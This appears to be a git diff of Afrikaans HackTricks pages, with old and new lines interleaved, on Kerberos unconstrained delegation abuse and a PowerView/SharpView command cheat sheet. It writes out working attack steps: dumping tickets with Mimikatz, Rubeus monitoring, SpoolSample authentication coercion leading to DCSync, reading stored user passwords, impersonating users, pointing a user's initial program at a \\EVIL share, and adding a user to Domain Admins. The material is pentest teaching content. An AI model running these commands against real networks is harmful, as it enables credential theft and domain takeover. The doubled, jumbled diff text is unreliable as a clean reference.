Dit is 'n funksie wat 'n Domeinadministrateur kan instel vir enige **Rekenaar** binne die domein. Dan, elke keer as 'n **gebruiker aanmeld** by die Rekenaar, sal 'n **kopie van die TGT** van daardie gebruiker gestuur word binne die TGS wat deur die DC voorsien word **en in die geheue in LSASS gestoor word**. So, as jy Administrateur-voorregte het op die masjien, sal jy in staat wees om die kaartjies te dump en die gebruikers te impersoneer op enige masjien.
|
||||
Dit is 'n kenmerk wat 'n Domein Administrateur kan stel op enige **Rekenaar** binne die domein. Dan, wanneer 'n **gebruiker aanmeld** op die Rekenaar, sal 'n **kopie van die TGT** van daardie gebruiker **binne die TGS** wat deur die DC **gestuur word en in geheue in LSASS gestoor word**. So, as jy Administrateur regte op die masjien het, sal jy in staat wees om die **kaartjies te dump en die gebruikers te verpersoonlik** op enige masjien.
|
||||
|
||||
Dus, as 'n domein-admin aanmeld op 'n Rekenaar met die "Onbeperkte Delegasie" funksie geaktiveer, en jy het plaaslike admin-voorregte binne daardie masjien, sal jy in staat wees om die kaartjie te dump en die Domein-admin enige plek te impersoneer (domeinprivesc).
|
||||
So as 'n domein admin aanmeld op 'n Rekenaar met die "Unconstrained Delegation" kenmerk geaktiveer, en jy het plaaslike admin regte op daardie masjien, sal jy in staat wees om die kaartjie te dump en die Domein Admin enige plek te verpersoonlik (domein privesc).
|
||||
|
||||
Jy kan **Rekenaarvoorwerpe met hierdie eienskap vind** deur te kyk of die [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) eienskap [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) bevat. Jy kan dit doen met 'n LDAP-filter van ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, dit is wat powerview doen:
|
||||
Jy kan **Rekenaar objek met hierdie attribuut vind** deur te kyk of die [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) attribuut [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) bevat. Jy kan dit doen met 'n LDAP filter van ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, wat is wat powerview doen:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Lys onbeperkte rekenaars
|
||||
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
|
||||
## Powerview
|
||||
Get-NetComputer -Unconstrained #DC's verskyn altyd, maar is nie nuttig vir privesc nie
|
||||
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
|
||||
<strong>## ADSearch
|
||||
</strong>ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
|
||||
<strong># Voer kaartjies uit met Mimikatz
|
||||
<strong># Export tickets with Mimikatz
|
||||
</strong>privilege::debug
|
||||
sekurlsa::tickets /export #Aanbevole manier
|
||||
kerberos::list /export #Nog 'n manier
|
||||
sekurlsa::tickets /export #Recommended way
|
||||
kerberos::list /export #Another way
|
||||
|
||||
# Monitor aanmeldings en voer nuwe kaartjies uit
|
||||
.\Rubeus.exe monitor /targetuser:<gebruikersnaam> /interval:10 #Kyk elke 10s vir nuwe TGT's</code></pre>
|
||||
# Monitor logins and export new tickets
|
||||
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs</code></pre>
|
||||
|
||||
Laai die kaartjie van die Administrateur (of slagoffer-gebruiker) in die geheue met **Mimikatz** of **Rubeus vir 'n** [**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
Laai die kaartjie van die Administrateur (of slagoffer gebruiker) in geheue met **Mimikatz** of **Rubeus vir 'n** [**Pass the Ticket**](pass-the-ticket.md)**.**\
|
||||
Meer inligting: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
|
||||
[**Meer inligting oor Onbeperkte delegasie in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
[**Meer inligting oor Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
|
||||
|
||||
### **Dwing Verifikasie**
|
||||
### **Force Authentication**
|
||||
|
||||
As 'n aanvaller in staat is om 'n rekenaar wat toegelaat word vir "Onbeperkte Delegasie" te **kompromitteer**, kan hy 'n **Drukbediener** mislei om outomaties teen dit aan te meld en 'n TGT in die geheue van die bediener te stoor.\
|
||||
Dan kan die aanvaller 'n **Pass the Ticket-aanval uitvoer om** die gebruiker se Drukbediener-rekenaarrekening te impersoneer.
|
||||
As 'n aanvaller in staat is om 'n **rekenaar wat toegelaat word vir "Unconstrained Delegation"** te **kompromitteer**, kan hy 'n **Druk bediener** **mislei** om **outomaties aan te meld** teen dit **en 'n TGT in die geheue van die bediener te stoor**.\
|
||||
Dan kan die aanvaller 'n **Pass the Ticket aanval uitvoer om** die gebruiker se Druk bediener rekenaarrekening te verpersoonlik.
|
||||
|
||||
Om 'n drukbediener teen enige masjien te laat aanmeld, kan jy [**SpoolSample**](https://github.com/leechristensen/SpoolSample) gebruik:
|
||||
Om 'n druk bediener teen enige masjien aan te meld, kan jy [**SpoolSample**](https://github.com/leechristensen/SpoolSample) gebruik:
|
||||
```bash
|
||||
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
|
||||
```
|
||||
As die TGT van 'n domeinbeheerder afkomstig is, kan jy 'n [**DCSync-aanval**](acl-persistence-abuse/#dcsync) uitvoer en al die hase van die DC verkry.\
|
||||
[**Meer inligting oor hierdie aanval by ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse/#dcsync) and obtain all the hashes from the DC.\
|
||||
[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
|
||||
|
||||
**Hier is ander maniere om te probeer om 'n outentifikasie af te dwing:**
|
||||
**Hier is ander maniere om te probeer om 'n outentisering te dwing:**
|
||||
|
||||
{% content-ref url="printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Versagting
|
||||
### Mitigering
|
||||
|
||||
* Beperk DA/Admin-aantekeninge tot spesifieke dienste
|
||||
* Beperk DA/Admin aanmeldings tot spesifieke dienste
|
||||
* Stel "Rekening is sensitief en kan nie gedelegeer word nie" vir bevoorregte rekeninge.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,30 @@
|
|||
# PowerView/SharpView
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
Die mees opgedateerde weergawe van PowerView sal altyd in die dev-tak van PowerSploit wees: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
Die mees onlangse weergawe van PowerView sal altyd in die dev tak van PowerSploit wees: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) is 'n .NET-poort van [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) is 'n .NET weergawe van [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
### Vinnige opname
|
||||
### Vinige opsomming
|
||||
```powershell
|
||||
Get-NetDomain #Basic domain info
|
||||
#User info
|
||||
|
@ -52,7 +55,7 @@ Invoke-UserHunter -CheckAccess
|
|||
#Find interesting ACLs
|
||||
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
|
||||
```
|
||||
### Domein inligting
|
||||
### Domein info
|
||||
```powershell
|
||||
# Domain Info
|
||||
Get-Domain #Get info about the current domain
|
||||
|
@ -75,7 +78,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
|
|||
# Get Forest info
|
||||
Get-ForestDomain
|
||||
```
|
||||
### Gebruikers, Groepe, Rekenaars & OU's
|
||||
### Gebruikers, Groepe, Rekenaar & OU's
|
||||
```powershell
|
||||
# Users
|
||||
## Get usernames and their groups
|
||||
|
@ -141,7 +144,7 @@ Get-DomainOU "Servers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -
|
|||
Get-NetOU #Get Organization Units
|
||||
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
||||
```
|
||||
### Aanteken en Sessies
|
||||
### Aanmelding en Sessies
|
||||
```powershell
|
||||
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
||||
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
||||
|
@ -149,10 +152,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
|
|||
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
|
||||
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
|
||||
```
|
||||
### Groepbeleidsobject - GPO's
|
||||
### Groep Beleidsobjek - GPO's
|
||||
|
||||
Indien 'n aanvaller **hoë voorregte oor 'n GPO** het, kan hy in staat wees om dit te misbruik deur **gebruikersregte by te voeg aan 'n gebruiker**, 'n plaaslike admin-gebruiker by 'n gasheer **toe te voeg** of 'n **geskeduleerde taak** (onmiddellik) te skep om 'n aksie uit te voer.\
|
||||
Vir [**meer inligting hieroor en hoe om dit te misbruik, volg hierdie skakel**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
As 'n aanvaller **hoë bevoegdhede oor 'n GPO** het, kan hy in staat wees om **privesc** te misbruik deur **toestemmings aan 'n gebruiker toe te voeg**, **'n plaaslike admin gebruiker** aan 'n gasheer toe te voeg of **'n geskeduleerde taak** (onmiddellik) te skep om 'n aksie uit te voer.\
|
||||
Vir [**meer inligting daaroor en hoe om dit te misbruik, volg hierdie skakel**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
|
@ -186,7 +189,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
|
|||
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
||||
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
||||
```
|
||||
Leer hoe om **regte oor GPO's en ACL's uit te buit** in:
|
||||
Leer hoe om **toestemmings oor GPO's en ACL's te benut** in:
|
||||
|
||||
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
||||
|
@ -219,7 +222,7 @@ Get-NetFileServer #Search file servers. Lot of users use to be logged in this ki
|
|||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
Find-InterestingDomainShareFile #Find interesting files, can use filters
|
||||
```
|
||||
### Domeinvertroue
|
||||
### Domein Vertroue
|
||||
```powershell
|
||||
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
|
||||
Get-DomainTrust #Same
|
||||
|
@ -236,7 +239,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### Lae vrugte
|
||||
### Lae-hangende vrugte
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -274,13 +277,13 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
|||
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### Verwyderde voorwerpe
|
||||
### Verwyderde objekte
|
||||
```powershell
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### VERSKILLLIG
|
||||
### MISC
|
||||
|
||||
#### SID na Naam
|
||||
```powershell
|
||||
|
@ -297,7 +300,7 @@ $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
|||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
||||
Get-DomainUser -Credential $Cred
|
||||
```
|
||||
#### Impersoneer 'n gebruiker
|
||||
#### Verteenwoordig 'n gebruiker
|
||||
```powershell
|
||||
# if running in -sta mode, impersonate another credential a la "runas /netonly"
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
|
@ -306,7 +309,7 @@ Invoke-UserImpersonation -Credential $Cred
|
|||
# ... action
|
||||
Invoke-RevertToSelf
|
||||
```
|
||||
#### Stel waardes in
|
||||
#### Stel waardes
|
||||
```powershell
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
|
@ -321,14 +324,17 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Reference in a new issue